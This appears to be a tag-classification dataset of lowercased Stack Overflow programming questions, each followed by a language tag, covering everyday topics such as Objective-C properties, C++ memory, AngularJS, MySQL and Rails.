is self.target = equivalent to [self settarget] for a synthesised property   i have some doubts about this code:   <pre><code>@interface foo {     id target_; } @property (nonatomic  readwrite  retain) id target; </code></pre>  <hr>  <pre><code>@implementation foo  @synthesize target = target_;  -(id)initwithtarget:(id)t {     if( (self=[super init]) ) {         self.target = t;     }     return self; }  -(void) dealloc {     [target release];     [super dealloc]; }  @end </code></pre>  <hr>   questions:   <ul> <li>is <code>self.target = t</code> exactly equivalent to <code>[self settarget:t]</code>  <ul> <li>if yes  what about <code>target = t</code> </li> <li>if yes  <code>target</code> is retained  right </li> </ul></li> <li>it would be perfectly fine to call <code>self.target = nil</code> in the <code>dealloc</code> method  right  because the setter will release <code>target</code>.</li> </ul>,objective-c
c++ if i have an object pointer  are the method variables allocated on the stack or heap   i have been searching for about an hour now  but haven t found a clear answer. if i use an object pointer  are the local variables allocated on the stack      for example:   <pre><code>   class someclass {       public:          int a;          int some_method() {             int local_variable = 5;             return local_variable + a;          }    };     someclass *obj_ptr = new someclass();    obj_ptr-&gt;a = 5; // i m aware that this variable is allocated on the heap.     // is local_variable allocated on the stack  is the return value on the stack     obj_ptr-&gt;some_method(); </code></pre>,c++
how to use if statement for number range  i have a <code>textbox</code> where users write numbers 1-12 to represent the month. my current code is below:   <pre><code>int month; month = int.parse(textbox.text); if (month &gt;= 1 &amp;&amp; month &lt;= 12) {     // do stuff } </code></pre>   this will perform the expected action if the user s entry was valid (1-12) but it doesn t prevent them from entering an invalid input in the first place. is there a way to constrain the textbox to force users to enter a number 1-12 in the first place,c#
what actually does this keyword in javascript works   actually i am beginner in <code>javascript</code> and i am making a <code>todo</code> list with only <code>javascript</code> and given is my code..   <pre><code>function updateitemstage() {     var cbid = this.id.replace( cb_     );     var itemtext = document.getelementbyid( item_  + cbid);       if (this.checked) {         itemtext.classname =  checked ;     } else {         itemtext.classname =   ;     } }   function addnewitem(list  itemtext) {      totalitems++;      var listitem = document.createelement( li );      var checkbox = document.createelement( input );     checkbox.type =  checkbox ;     checkbox.onclick = updateitemstage;     checkbox.id =  cb_  + totalitems;      var span = document.createelement( span );     span.innerhtml = itemtext;     span.id =  item_  + totalitems;      listitem.appendchild(checkbox);     listitem.appendchild(span);       list.appendchild(listitem); }  var totalitems = 0; var btnnew = document.getelementbyid( btnadd ); btnnew.onclick = function() {     var todoinput = document.getelementbyid( todoinput )      var itemtext = todoinput.value;      if(!itemtext || itemtext ==   ) {         return false;     }     addnewitem(document.getelementbyid( todolist )  itemtext); }; </code></pre>   using this code i successfully create a <code>todo list</code> but in this code i didn t get what is the main role and work of <code>this</code> keyword..    can anyone help me please to understand this problem,javascript
mysql fake field as a comment/label/placeholder  can i create a  comment  of sorts within a query   i.e.   <pre><code> select id  title  date  blogpost as type from mytable; </code></pre>   in this case  blogpost is not a column in my table  but a placeholder/comment.      so the query results would come back:   <pre><code> id      |       title         |         date        |        type   1               cats             2014-09-28 00:00:00       blogpost  2             kittens            2014-10-28 00:00:00       blogpost  3             doggies            2014-11-28 00:00:00       blogpost </code></pre>   so  to clarify  blogpost is not coming from the table.  i want it to show up in the results via my query like a comment of sorts.,mysql
a custom ostream  i need some guidance or pointers understanding how to implement a custom ostream. my requirements are:   <ol> <li>a class with a  &lt;&lt;  operator for several data types.</li> <li>the intention is to send output to database. each  line  should go to a separate record.</li> <li>each record most important field would be the text (or blob)  but some other fields such as time  etc. can be mostly deduced automatically</li> <li>buffering is important  as i don t want to go to database for every record.</li> </ol>   first  does it worth deriving from ostream  what do i get by deriving from ostream  what if my class simply implements few <code>operator&lt;&lt;</code> methods (including some custom data types). which functionality do i get from ostream     assuming what i want is a class derived from ostream  i need some guidance understanding the relationship between the ostream and the streambuf classes. which one do i need to implement  looking at some samples  it appears that i don t need to derive from ostream at all  and just give the ostream constructor a custom streambuf. is that true  is that the canonical approach     which virtual functions at the custom streambuf do i need to implement  i ve seen some samples (including this site: <a href= https://stackoverflow.com/q/760301/341971 >here</a> and <a href= https://stackoverflow.com/q/4366904/341971 >here</a>  and few more)  some override the <code>sync</code> method  and other override the <code>overflow</code> method. which one should i override  also  looking at the stringbuf and filebuf sources (visual studio or gcc) both those buffer classes implement many methods of the streambuf.    if a custom class derived from streambuf is required  would there be any benefit deriving from stringbuf (or any other class) instead of directly from streambuf     as for  lines . i would like at least when my users of the class using the  endl  manipulator to be a new line (i.e. record in database). maybe - depends on effort - every  \n  character should be considered as a new record as well. who do my custom ostream and/or streambuf get notified for each,c++
is there a technique for avoiding rewriting long operands in if statements   i find myself constantly writing if statements like the following:   <pre><code>if(isset($this-&gt;request-&gt;data[ parent ][ child ])){      $new_var[ child ] = $this-&gt;request-&gt;data[ parent ][ child ]; } </code></pre>   my question is  without creating a new shorter variable before the <code>if</code> statement  is there a magic php process that will help avoid having to rewrite <code>$this-&gt;request-&gt;data[ parent ][ child ]</code> in the body of the if statement  i also want to keep the code clean for any successor developers.    i am also not looking for a ternary solution. something a little more along the lines of jquery s use of <code>this</code>. (that i know of) php doesn t allow anonymous functions or it s not common practice and i m not saying i want a bunch of anonymous functions all over my classes either.,php
join table themselves and order by max date  i have a table like in the picture :    <img src= https://i.stack.imgur.com/nzfba.jpg  alt= enter image description here >    i want list posts order by date. if a post has no comment post date as date. if a post has comments   last comment date as post date.    the result like the picture :     what is the sql query for this,sql
binding $scope object in two different pages  i m a newbie in angularjs and can t figure out how to do the following:    how can i update two different pages listing the same $scope object     basically  i have an admin page where i can add/update/delete items in the db  and another page where i list those items. once an item is added/updated/deleted i want to see the changes immediately. that s ok in the admin page  but what about the front page     thanks in advance for any help on this!    my code looks something along these lines:    <strong>script.js</strong>   <pre><code>var menuapp = angular.module( menuapp   []);  menuapp.factory( serverrequest   function($http) {      return {         getdishes: function() {                      return $http.get( ../request.php action=get )              .then(function(result) {                   return result.data;              });         }          adddish: function (dish) {                   return $http.get( ../request.php action=add   {                 params: {data : dish}             })             .then(function(result) {                 return result.data;              });                     }    } });  function appcontroller($scope  serverrequest) {      // add new dish     $scope.addnewdish = function(dish) {             serverrequest.adddish(dish);             $scope.dishes.push(dish);            }      // get menu dishes in db     $scope.dishes = serverrequest.getdishes().then(function(d) {         $scope.dishes = d;     });     } </code></pre>   <strong>admin.html and index.html</strong>   <pre><code>&lt;div ng-controller= appcontroller &gt;      &lt;ul&gt;         &lt;li ng-repeat= (key dish) in dishes &gt;             &lt;a ng-click= editdish(dish.id  key) &gt;{{dish.name}}&lt;/a&gt;         &lt;/li&gt;     &lt;/ul&gt;  &lt;/div&gt; </code></pre>,angularjs
where does the return value go for a foreach callback   ... more specefically  is it possible to break out of a foreach loop.  in the code below the return statement in the if statement appears to do nothing.    this is because it is retuning to the callback function.    here is a reference:    <a href= https://msdn.microsoft.com/en-us/library/ff679980(v=vs.94).aspx  rel= nofollow noreferrer >msdn - foreach</a>   <pre><code>// underscore equivalent  cornerstone  fails b.c. of storage duality var newforeach = function (obj  func  con) {     if (pub.istype( function   func)) {         object.keys(obj).foreach(function (key) {             if (func.call(con  obj[key]  key  obj)) {                 return true;             }         });     } }; </code></pre>   note  i m not interested in using another method.  i m curious as to <strong>where</strong> the return value goes.,javascript
file.copy() and unc paths containing spaces  using <code>file.copy(src  dest)</code> to copy a file from a unc path containing spaces appears not to work. as i understand it  the file.copy call should work fine with local paths with spaces. how can i make this work (short of using a shell to execute a  copy  command)    <pre><code>string srcpath1 = @ \\host\share\file_name.ext ;   string targetpath1 = @ c:\temp\target1.file ; file.copy(srcpath1  targetpath1);                 // ok  string srcpath2 = @ \\host\share\file name.ext ;  // note the space string targetpath2 = @ c:\temp\target2.file ; file.copy(srcpath2  targetpath2);                 // file not found </code></pre>   the second file.copy() in the above example throws a file not found exception  claiming the path does not exist (the full path  i.e. not just up to the first space for example).,.net
is this html tag well formatted  our design department gave me a code to add to a page and i am kind of new to the design part of it and stuff... but is this a valid tag and what does it mean &lt;--if subcontent add rel= test1 -->. is this somthing that i can just leave like that (it is evaluating correctly as it is) or do i actually need to do something so that that part does something    <pre><code>&lt;li class= test1 &gt;&lt;a href=   &lt;!-- if subcontent add rel= test1  --&gt;&gt;test 1&lt;/a&gt;&lt;/li&gt; </code></pre>,html
don t repeat a piece of code in a jquery snippet  i have this jquery code that works nice (is uses <a href= https://github.com/dennyferra/typewatch  rel= nofollow >typewatch plugin</a>):       <pre><code>$(  #codice  ).typewatch({     callback: function(value){         $.post( ../ajax/key.php   {             codice: value              id: $(  #id  ).val()             }              function(data){                 $(  #availability  ).html(data);             }         );     }      wait: 500      capturelength: 1 }).keypress(function(){     $(  #availability  ).html(  ); }); </code></pre>   but  following a dry approach  i d like to avoid the double <code>$(  #availability  )</code> repetition. i tried several things but none of them works: have you got an idea for this  please     thanks,jquery
force execute from local computer  i have packaged a .net application in the form of a .zip file. the user needs to unzip the file on his local hard drive to create a directory with an executable and associated resources. however  users keep unzipping the file on a network drive and execute the app from there  and they get problems because of this.    can i force users to run the file from their local hard drive by displaying a message if they run it from a network drive and closing the app,.net
copy table data to a different database using stored procedure  just wondering  im new to stored procedures     i just tried this    <pre><code>insert into new.emp select * from old.users </code></pre>   and it worked and inserted the data of users from the old table users to the new emp table.    but when i did that inside a stored procedure im getting a syntax error   <pre><code>create procedure insertnew     insert into new.emp select * from old.users </code></pre>   what s the difference,mysql
how to make a delay timer in vb  i wanna know about how to make delay in my tic tac toe game. i want to make a delay between turns of two players.    when player one make  x  i want 3 seconds delay before second player make  o .    thats all. please help me with it...    p.s i am juz a beginner.,.net
retrieving the com class factory for component with clsid {db797690-40e0-11d2-9bd5-0060082ae372} failed due to the following error: 80040154.   i am pretty new here   could you please help me with the below query  . i have referred xceedzip.dll in my project . and i created the stepup file as .msi file . and installed in two to 3 machines   i was happy with the result .     and i uninstalled the  older version and installed a new version of my tool with some bugs fixed . and when i try using my tool   i am getting below application error when i am unzipping a file from my application  .     retrieving the com class factory for component with clsid {db797690-40e0-11d2-9bd5-0060082ae372} failed due to the following error: 80040154.     in one machine when i uninstall the xceedzip.dll   issue got resolved (using regsvr32 /u  c:\windows\system32\xceedzip.dll )   but i did the same resolution steps in my machine without success . i have an another application sharing the same dll   if i uninstall my tool   i am getting same error from the shared application.     please help  i am stuck here . i want to  know the root cause and the fix .,.net
is it good practice to extend a base controller in angularjs  is it good practice to extend a base controller in angularjs as follows     from within sub-controller:   <pre><code>angular.extend(this  $controller( basectrl   {$scope : $scope})); </code></pre>   the <code>$controller</code> official documentation mentions only a usage for testing purposes...    can someone please confirm that the above is a good practice and/or suggest an alternative solution,angularjs
how can i make a responsive 45 degree image overlay in css  i actually have no idea how to css overlay a full width slideshow like that (picture attached). i ve tried a lot of ideas with transform and rotate  but failed on responsive views. thanks for any hint&amp;help!    <a href= https://i.stack.imgur.com/elqay.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/elqay.jpg  alt= css overlay ></a>,css
android - get the location every 30 minutes  i know this question has been asked many times but i can t find an answer that fit my problem.    i have an application which has to know the location of the user every 30 minutes (in order to do specific stuff). <strong>i do not want the application to check if the location has changed</strong>. i only need to get it every 30 minutes so <strong>i don t want to use the onlocationchanged() method</strong>.    i use the  passive  way and not the gps or network way so i don t need to  find  the best provider  i already know it.    is there a way to it      thanks a lot.    julien,android
date validation using asp.net validator  i am trying to validate if the date is valid meaning that its not in the future and also make sure its a legit date i.e 03/32/2012 is not valid. what i currently have works only to verify if the date is valid but it does not work when i place the date in future. also i am having a problem if someone enters a date like 03/32/2012 it will say that its not valid but they can still click save button and then the exception will occur. what is the best way to approach this.    here is my code:   <pre><code>&lt;asp:textbox id= tbdate  runat= server  text=  &gt;&lt;/asp:textbox&gt; &lt;asp:image id= imgcalendar  runat= server  imageurl= ~/app_themes/sugar2006/images/calendar_schedulehs.png  imagealign= middle  /&gt; &lt;asp:calendarextender id= ce  runat= server  targetcontrolid = tbdate  popupbuttonid= imgcalendar  /&gt;         &lt;asp:maskededitextender id= mex  runat= server                           targetcontrolid= tbdate                           mask= 99/99/9999                           masktype= date                          messagevalidatortip= true                          onfocuscssclass= maskededitfocus                          oninvalidcssclass= maskedediterror  /&gt; &lt;asp:maskededitvalidator id= mev  runat= server                           controltovalidate= tbdate                          controlextender= mex                           display= dynamic                           invalidvaluemessage= this date is invalid!  font-bold= true                           forecolor= #d50000  /&gt; &lt;asp:requiredfieldvalidator runat= server  id= dreq                          controltovalidate= tbdate                          display= none                          errormessage= a date is required.  validationgroup= vgmygroup /&gt; &lt;asp:validatorcalloutextender runat= server  id= dreqe                          targetcontrolid= dreq                          highlightcssclass= validatorcallouthighlight  /&gt; </code></pre>,asp.net
how to clear a particular element in char array  i have two multi dimensional char arrays. they may have duplicates. i want to clear the duplicates in the second one. will assigning the particular element in the second array to null  clears it or should i assign it to a  /0 .   <pre><code>for(i=0; i&lt;10; i++){    for(j=0; j&lt;10; j++){       if(!strcmp(a[x][i]  b[x][j])){       b[x][j]=null;    }    i++; } </code></pre>   please give me your inputs.,c
c++ struct on class  need some guide here    i got a code which is   <pre><code>struct point {    int x;    int y; }; </code></pre>   then at my class i got a function   <pre><code>class myclass {    private:       point mypoint[4];    public:      void setpoint(); };  void myclass::setpoint() {    int xdata ydata;     for (int i=0;i&lt;4;i++)    {       cout &lt;&lt;  please enter x-ordinate: ;       cin &gt;&gt; xdata;        cout &lt;&lt;  please enter y-ordinate: ;       cin &gt;&gt; ydata;        //at this part the code throw a segmentation core dump.       mypoint[i].x = xdata;       mypoint[i].y = ydata;    }  } </code></pre>   on first run nothing happen  but on 2nd loop  segmentation core dump occur. whats wrong with my code     additional code on main.cpp   <pre><code>#include  myclass.h   int main() { myclass *mclass;  mclass-&gt;setpoint(); } </code></pre>   thanks for helping.,c++
why is this incrementer returning nan when if i hard code the index it works as expected   i am trying to do a simple factorial code challenge  but with javascript  when i try to get the index position by looping of the indexes  i get nan.  i understand that nan is of the typeof number  just that javascript doesn t know which number.  i don t see why that is happening in this case.  also how can i use get the index of an array by looping over them in javascript   thanks!   <pre><code>// input = 4 output = 24 // input = 8 output = 40320  var total = 0; var factor_array = []; function firstfactorial(num) {   for (var i = 1; i &lt;= num; i++){     factor_array.unshift(i);     // console.log(factor_array);   }   for (var j = 0; j &lt; factor_array.length; j++){     // why does this work    but not when i use  j  to grab the index    position   seems like both ways should work     total = factor_array[0] * factor_array[0+1];     total = factor_array[j] * factor_array[j+1];    }  console.log(total);  //return num;  } firstfactorial(4); </code></pre>,javascript
sending image using udp fail  i sending bitmap using udp. i see in the sending that all bytes are sent.  but on the receiving side i see that the number of bytes are less than the number of byte i sent.     what can be the reason  to this    if i send small image i see that  it s ok .. (less bytes to send )    i sending block of 1500 bytes.,c#
syntax for including variable in single quoted string  sorry for the trivial post  but i cannot figure this out on my own.      so i am basically appending a div and i need the <code>maximum-length</code> class to have a php variable like <code>maximum-length-$max</code> but i cannot figure out the syntax i need to use.     i have tried what is done before:   <code> .$max. </code>  but this does not work.   <pre><code>$addressfields .=  &lt;div style= position: relative &gt;&lt;input type= text  title=  .$this-&gt;__( street address  .($_i+1)).   name= billing[street][ .$_i. ]  id= billing:street .($_i+1).   value=  .$datahelper-&gt;cleardash($this-&gt;getquote()-&gt;getbillingaddress()-&gt;getstreet($_i+1)).   class=  .(($_i == 0)   required-entry   :   ).  input-text validate-address-lenght maximum-length-$max /&gt; ; </code></pre>,php
injecting files in folder automatically  i currently am using a framework where i have to manually configure the models. i am trying to make it so that the models are injected automatically.    here is the manual process:   <pre><code>require  resources/model/model.php ; // create new  model  (and pass the database connection) $this-&gt;model = new model($this-&gt;db); </code></pre>   here is my attempt of automating the process:   <pre><code>    $modelpath =  resources/model/ ;      $files = scandir($modelpath);      foreach($files as $file){         if(is_file($modelpath.$file)){             $filename = $file;             $modelname = str_replace( .php     $filename);              require $modelpath . $filename;             // create new  model  (and pass the database connection)             ${ this-&gt;  . $modelname} = new $modelname($this-&gt;db);         }     } </code></pre>   i think i might be doing my dynamic vars incorrectly because this method is not working.,php
insert a row and avoiding race condition (php/mysql)  i m working on a multiplayer game which has a lobby-like area where players select  sectors  to enter. the lobby gateway is powered by php  while actual gameplay is handled by one or more java servers. the datastore is mysql.    the happy path: a player chooses a sector and tells the lobby he d like to enter. the lobby checks whether this is okay  including checking whether there are too many players in the sector (compares the entry count in sector assignments for that sector against the sector s max_players value). the player is added to the sector_assignments table pairing him with the sector. the player client receives a passkey that will let him connect to the appropriate game server.    the race condition: if two players request access to the same sector at close to same time  i can envision a case where they are both added because there was one space free when their check was started and max players gets exceeded.    is the best solution lock table on sector_assignments  is there another option,mysql
parsing xml nodes - removing empty nodes  i have the following xml:   <pre><code>&lt; xml version = 1.0  &gt; &lt;cjischarges&gt;     &lt;cjischarge&gt;   &lt;cjisid&gt;1&lt;/cjisid&gt;   &lt;chargeid&gt;1&lt;/chargeid&gt;   &lt;cjiscode&gt;10000&lt;/cjiscode&gt;   &lt;class&gt;&lt;/class&gt;   &lt;cjisclass&gt;1 0000&lt;/cjisclass&gt;   &lt;describe35&gt;vessel-conceal name/number&lt;/describe35&gt;   &lt;describe70&gt;vessel-conceal name/number&lt;/describe70&gt;         &lt;description&gt;did operate and use a [boat/vessel] on the navigable waters  custom service] was knowingly [concealed/covered/defaced].&lt;/description&gt;       &lt;/cjischarge&gt;     &lt;cjischarge&gt;   &lt;cjisid&gt;1220&lt;/cjisid&gt;   &lt;chargeid&gt;5762&lt;/chargeid&gt;   &lt;cjiscode&gt;10000&lt;/cjiscode&gt;   &lt;class&gt;a&lt;/class&gt;   &lt;cjisclass&gt;1a0000&lt;/cjisclass&gt;   &lt;describe35&gt;att-vessel-conceal name/number&lt;/describe35&gt;   &lt;describe70&gt;att-vessel-conceal name/number&lt;/describe70&gt;         &lt;description&gt;did attempt to operate and use a [boat/vessel] on the [concealed/covered/defaced].&lt;/description&gt;       &lt;/cjischarge&gt;     &lt;cjischarge&gt;   &lt;cjisid&gt;1280&lt;/cjisid&gt;   &lt;chargeid&gt;5822&lt;/chargeid&gt;   &lt;cjiscode&gt;10000&lt;/cjiscode&gt;   &lt;class&gt;c&lt;/class&gt;   &lt;cjisclass&gt;1c0000&lt;/cjisclass&gt;   &lt;describe35&gt;con-vessel-conceal name/number&lt;/describe35&gt;   &lt;describe70&gt;con-vessel-conceal name/number&lt;/describe70&gt;         &lt;description&gt;did conspire with ____ (name) to operate and use a [concealed/covered/defaced].&lt;/description&gt;       &lt;/cjischarge&gt;     &lt;cjischarge&gt;   &lt;cjisid&gt;2&lt;/cjisid&gt;   &lt;chargeid&gt;2&lt;/chargeid&gt;   &lt;cjiscode&gt;10001&lt;/cjiscode&gt;   &lt;class&gt;&lt;/class&gt;   &lt;cjisclass&gt;1 0001&lt;/cjisclass&gt;   &lt;describe35&gt;impersonating an officer&lt;/describe35&gt;   &lt;describe70&gt;impersonating an officer&lt;/describe70&gt;         &lt;description&gt;&lt;/description&gt;       &lt;/cjischarge&gt; &lt;/cjischarges&gt; </code></pre>   i am trying to parse the nodes - to show only where the  description  node is not empty.    i ve tried the following  but still get empty  description  fields.   <pre><code>try {     arraylist&lt;hashmap&lt;string  string&gt;&gt; userlist = new arraylist&lt;&gt;();     listview lv = findviewbyid(r.id.listview);     inputstream istream = new fileinputstream(folder + xmlfilename);     log.d(tag   parse file:   + folder + xmlfilename);     documentbuilderfactory builderfactory = documentbuilderfactory.newinstance();     documentbuilder docbuilder = builderfactory.newdocumentbuilder();     document doc = docbuilder.parse(istream);     nodelist nlist = doc.getelementsbytagname( cjischarge );     for (int i = 0; i &lt; nlist.getlength(); i++) {         if (nlist.item(0).getnodetype() == node.element_node) {             hashmap&lt;string  string&gt; user = new hashmap&lt;&gt;();             element elm = (element) nlist.item(i);             // previously: if (!getnodevalue( description   elm).isempty()); {             if (!getnodevalue( description   elm).isempty())                 ;             {                 user.put( cjisclass   getnodevalue( cjisclass   elm) +   -                               + getnodevalue( describe70   elm));                 // user.put( describe70   getnodevalue( describe70  elm));                 user.put( description   getnodevalue( description   elm));                 userlist.add(user);             }         }     } } // ... </code></pre>   please advise suggestions to remove nodes where  description  fields are empty.,java
how to get uibarbuttonitem to open a new view controller   i want to add method that opens up the new view controller when this info button is pressed.   <pre><code>  uibarbuttonitem *infoitem = [[uibarbuttonitem alloc]                            initwithtitle:@ info                             style:uibarbuttonitemstylebordered                            target:nil                            action:@selector(action)];  </code></pre>,iphone
asp.net how to add dynamic linkbutton in the button click event   is there a way to add linkbutton after a submit button is clicked and have it post back correctly. take this scenario for instance.    a page is loaded with an upload control on it and a submit button. after a selection is made and the user clicks the submit button  i would like to show in another divider the files that have been uploaded with an optional remove button beside the file name. the issue is that when the user clicks the submit button i try to add the controls on the click handler because that is where the file is requested but when i try to add a linkbutton in the control response and the events of course do not hook up.   <pre><code>&lt;form ..... &lt;telerik:radasyncupload id= ctrlradasyncupload  runat= server &gt; &lt;/telerik:radasyncupload&gt; &lt;asp:button id= ctrlsave  runat= server  text= submit plans  /&gt;   protected override void oninit(eventargs e) {     base.oninit(e);     ctrlsave.click += new eventhandler(ctrlsave_click); }  protected void page_load(object sender  eventargs e) {  //the problem is here  the new files are not created until after telerik has processed it own button click. i could add the buttons here  but the files are not posted yet. so i try to add them in the button click event. see below. }  void ctrlsave_click(object sender  eventargs e) {  any linkbuttons created and added to the controls collection are there  but they do not post back properly   //get uploaded data  linkbutton pdelete = new linkbutton();             pdelete.text =  remove ;             pdelete.command += new commandeventhandler(pdelete_command);             pdelete.commandargument = pfile;             pdelete.commandname =  delete ;             controls.add(pdelete); } </code></pre>   does any one have any good ideas to solve this  i have looked all around the web and i think i have a fairly decent grasp on the page lifecycle. but this is annoying. i seem to get stuck with these issues more often than not.,asp.net
jquery plugin scope question (closures)  i m trying to make a plugin and am running into some problems:   <pre><code>(function($){     var users = {};      $.fn.plugin = function(){         //blah  but alters users     }     $.fn.utility_function = function(){         // uses users     } }); </code></pre>   what s happening is that when i run two instances of this plugin   users  ends up having the same value for each instance of the plugin. how do i make them unique,jquery
android application that give timing advance and aoa  i would like to know if there is any application on android that gives the timing advance and maybe the angle of arrival.    if not  maybe a way of doing it would be very helpful.,android
finding duplicates of multiple rows in db2  i have a table where there can be duplicates that can span across multiple rows.    for example  lets have employee table with department.   <pre> deptid  name   salary   1       tom     121  1       mark    21  1       sallie  34  2       jay     342  2       britney 3  3       tom     121   3       mark    21   3       sallie  34   4       mark    21   4       sallie  34   5       mark    21   5       sallie  34  5       tom     121   5       britney 3  </pre>   here when i pass the <code>deptid</code> as 3  i need to get <code>deptid</code> 1  as 3 is essentially same as 1.    5 is not same as 1 as it has more rows. all the rows match &amp; then it is a duplicate.    can i know how can i find using a single query,sql
form_for hepler:reduce default html class  i have little form_for @user  which is password reset  and i don t want it to look like other @user edit forms. but anything i tried didn t assign this form to something other than default html class of form_for  which is  edit_user .    tried:   <pre><code>&lt;%= form_for @user  :url=&gt;update_pass_path(:class=&gt; reset_pass )  :method=&gt; put  do |f| %&gt;  </code></pre>   and:   <pre><code> &lt;%= form_for @user  :url=&gt;update_pass_path  :class=&gt; reset_pass   :method=&gt; put  do |f| %&gt;  </code></pre>   still edit_user. any solutions,ruby-on-rails
update all records in rails database  i am making an app in which users place bets on future scenarios like  who will win american idol       the user places his bet (referred to in the code as a prop).     then later  the admin chooses the correct answer by editing the answer of the bet.     i want then  to check in the database to see whether the answer that each user has matches the answer that the admin has just provided.     i am trying to do something like this   <pre><code>  def update     @user = user.find(session[:user_id])      @prop = prop.find(params[:id])     @answer = answer.find(params[:id])      @prop.update(prop_params)      user.all.map       { |user|       #the code here is called once for each user       # user is accessible by  user  variable         if @answer.choice == @prop.choice         puts  hello          @user.score += 7         @user.save       else         @user.score -= 7         @user.save        end      }    end </code></pre>   what is the best way to accomplish my goal,ruby-on-rails
how to place a scrollbox within a div column   i have an image within the content of my div column id. this column is in the middle.    the image inside of the middle div column id is a book. i would like a text box to be able to move to this middle div column on top of the book image. i can not figure it out.    here s the html code to my middle section.   <pre><code>    &lt;div id= middle &gt;         &lt;img src= http://img819.imageshack.us/img819/1369/bookbf.png /&gt;  &lt;/div&gt; </code></pre>   here s the css code to my middle section   <pre><code>div#middle {     padding: 0px 30px 5px 160px;     margin: 0px;     background-color: transparent;} </code></pre>   if you still can not figure out what i am trying to achieve  just think about a text box being placed on the right page of that book  located within my div column.    i am a complete newb when it comes to css so please outline in layman s terms where i need to add what.,html
regarding the output of a query given below  this program gives output as 4 3 2 1. why does it stop at 1 when no condition is given for i  do main(10) and main(i) differ    <pre><code>#include &lt;stdio.h&gt; int main() {     static int i = 5;     if (--i){         printf( %d    i);         main(i);     } } </code></pre>,c
array value with space cannot be called  i have a small problem with some code. 2 selects that are populated through the code below    <pre><code>var data_business_type = [ { category :  automotive   type :  please select type }   { category :  automotive   type :  auto accessories  }  { category :  real estate   type :  please select }  { category :  real estate   type :  apartment &amp; home rental }/*problem here*/ ];/*around 150 more  types  in total*/  $( #r_businesscategory ).append( &lt;option selected&gt;please select category&lt;/option&gt; ); $( #r_businesstype ).append( &lt;option selected&gt;please select type&lt;/option&gt; ); $( #r_businessother ).hide();  var r_categories = [];  $.each(data_business_type  function(index  item) {   if (r_categories.indexof(item.category) &lt; 0) {    r_categories.push(item.category);  }; });  $.each(r_categories  function(index  item) {  $( #r_businesscategory ).append( &lt;option value=  + item +  &gt;  + item +  &lt;/option&gt; ); });  $( #r_businesscategory ).on( change   function() {  $( #r_businesstype ).empty();   var business_types = []; $.each(data_business_type  function(index  item) {  if (business_types.indexof(item.type) &lt; 0 &amp;&amp; $( #r_businesscategory ).val() == item.category) {   business_types.push(item.type);  }; }); </code></pre>   it works at it should except when i want the  category  to have multiple words. <a href= https://jsfiddle.net/rth1m59j/1/  rel= nofollow noreferrer >jsfiddle</a>    i m still trying to learn so i m not sure how to use all the brackets yet  if that changes anything.i ve tried looking for a similar problem but when i try the solutions  it messes with different parts  so i haven t found a working solution yet. and sorry if it s hard to read.    any help would be appreciated,jquery
do  dynamic ivars  break the  strict superset of c  paradigm for objective-c   thank you to <a href= https://stackoverflow.com/users/239243/yuji >yuji</a> for answering <a href= https://stackoverflow.com/questions/4076836/how-do-automatic-synthesized-ivars-affect-the-real-sizeofmyclass >another question</a> i had and pointing me to <a href= http://cocoawithlove.com/2010/03/dynamic-ivars-solving-fragile-base.html  rel= nofollow noreferrer >this article about dynamic ivars in objective-c</a>.    however  as explained in my <a href= https://stackoverflow.com/questions/4076836/how-do-automatic-synthesized-ivars-affect-the-real-sizeofmyclass >other question</a> the <code>sizeof</code> operator now behaves inconsistently.  in short  <code>sizeof</code> will not take into account dynamic ivars from outside the class <code>.m</code> file but will take them into account inside the <code>.m</code> file after the <code>@synthesize</code> declarations that create the dynamic ivars.    so my question is does this break the idea that objective-c is a strict superset of c,objective-c
ios 6.0 -(bool)shouldautorotatetointerfaceorientation:(uiinterfaceorientation)tointerfaceorientation not calling  i am having a universal project in ios and that was working fine in all of the orientation but in ios 6.0     -(bool)shouldautorotatetointerfaceorientation:(uiinterfaceorientation)tointerfaceorientation    method is not calling any more.    even the other methods are not working.    suggest me some fast solutions.,ios
before_add callback   called id for nil object  error  i m getting the classic <code> called id for nil...</code> error but i m struggling to see why my object is nil.    it errors in the <code>validate_assignee</code> method when trying to grab the id of the :agent the task belongs to.   <pre><code>class task &lt; activerecord::base  belongs_to :user has_one :agent  through: :users has_and_belongs_to_many :assignees                        class_name:  user                         before_add: :validate_assignee private   def validate_assignee(assignee)     #need to check that the :assignee belongs to the same :agent as the :user     #grab agent_id from self     current_agent_id = self.agent.id      #fails here on create of a task through the @user.tasks.build association     ...   end end </code></pre>   from the console i get the expected behaviour when i build a task via    <pre><code>&gt; task = @user.tasks.build ... &gt; task.agent.id =&gt; 1 </code></pre>   my create action in the taskscontroller:   <pre><code>def create   @task = current_user.tasks.build(params[:task])   ... end </code></pre>   is there something strange about using self in this context when the object hasn t yet been saved   is there a better way of doing this   i m at the stage where i need another pair of eyes on this as i m going round in circles.  thanks.    <strong>update:</strong>  in order to eliminate <code>current_user</code> from the process i have changed the task.build in the create action to explicitly build a task through the user association  and with a user that i know belongs to an agent.   <pre><code>@task = user.find(1).tasks.build(params[:task]) </code></pre>   when i then output a representation of the object inside the <code>validate_assignee</code> method like this <code>puts self.to_yaml</code> i see that the task doesn t have a <code>user_id</code> set.    <strong>so in summary</strong> - i m building a new task object through the user association in my create action but in the task model inside the method called by the before_add association callback it has lost the association with the user.,ruby-on-rails
sort a list according to another list  i have a <code>list1</code> like this :   <pre><code>{a b c d e f} </code></pre>   i have another <code>list2</code> that <code>list2</code> count is equal with <code>list1</code> count (6=6) :   <pre><code>{50 100 14 57 48 94} </code></pre>   i want sort <code>list1</code> according to <code>list2</code>  that <code>list2</code> to be sorted ascending.   <pre><code>{14 48 50 57 94 100} </code></pre>   as a result :   <pre><code>{c e a d f b} </code></pre>   i used the following code. but the result is not sorted   <pre><code>list1= list1.orderby(d =&gt; list2.indexof(d)).tolist(); </code></pre>,c#
ruby on rails using a post method  i m trying to follow this guide: <a href= http://guides.rubyonrails.org/getting_started.html#hello-rails-bang  rel= nofollow >http://guides.rubyonrails.org/getting_started.html#hello-rails-bang</a> and in section 5.7 it says to add this line.    post get    /posts/:id(.:format)      posts#show    what does this do  and where should i put it   i tried putting it in the  create  method that follows this form:    <a href= http://dixonc3-72812.use1.nitrousbox.com/posts/new  rel= nofollow >http://dixonc3-72812.use1.nitrousbox.com/posts/new</a>    i also tried putting it in the  view  because i figured it was accepting the  post  method.  how do i proceed    new to ruby on rails and trying to figure out the kinks.,ruby-on-rails
